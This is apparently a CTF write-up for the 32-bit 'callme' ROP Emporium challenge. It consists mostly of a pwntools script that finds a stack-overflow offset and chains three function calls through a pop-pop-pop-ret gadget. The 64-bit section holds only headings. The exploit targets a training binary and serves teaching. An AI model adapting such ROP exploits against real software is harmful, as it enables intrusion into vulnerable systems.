callme
callme 32bit
Solution
function
return_address,
arg1,
arg2,
arg3Exploit
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("callme32", checksec=False)
#--------Offset--------#
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)
log.info(f"{offset = }")
#--------ROP--------#
callme_one = elf.plt["callme_one"]
callme_two = elf.sym["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme32 --only "pop|ret"
pop_pop_pop_ret = 0x080487f9
arg1 = 0xdeadbeef
arg2 = 0xcafebabe
arg3 = 0xd00df00d
payload = flat(
b"A" * offset,
# Function 1
callme_one,
pop_pop_pop_ret, # return address for callme_one
arg1, arg2, arg3, # args for callme_one
# Function 2
callme_two,
pop_pop_pop_ret, # return address for callme_two
arg1, arg2, arg3, # args for callme_two
# Function 3
callme_three,
pop_pop_pop_ret, # return address for callme_three
arg1, arg2, arg3, # args for callme_three
)
p = elf.process()
p.sendlineafter("> ", payload)
p.interactive()64bit
Solution
Exploit
Last updated